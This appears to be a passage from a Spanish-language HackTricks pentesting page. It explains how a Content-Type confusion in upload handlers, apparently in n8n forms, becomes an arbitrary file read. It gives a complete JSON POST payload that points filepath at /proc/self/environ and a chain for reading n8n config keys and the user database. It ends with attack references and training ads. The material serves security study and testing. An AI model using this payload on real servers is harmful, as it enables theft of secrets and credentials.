Algunos upload handlers confían en el request body parseado (p. ej., context.getBodyData().files) y luego copian el archivo desde file.filepath sin primero forzar Content-Type: multipart/form-data. Si el servidor acepta application/json, puedes suministrar un objeto files falso apuntando filepath a cualquier ruta local, convirtiendo el flujo de subida en un primitive de lectura arbitraria de archivos.
Example POST against a form workflow returning the uploaded binary in the HTTP response:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
El backend copia file.filepath, por lo que la respuesta devuelve el contenido de esa ruta. Cadena común: leer /proc/self/environ para conocer $HOME, luego $HOME/.n8n/config para obtener claves y $HOME/.n8n/database.sqlite para identificadores de usuario.
References
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


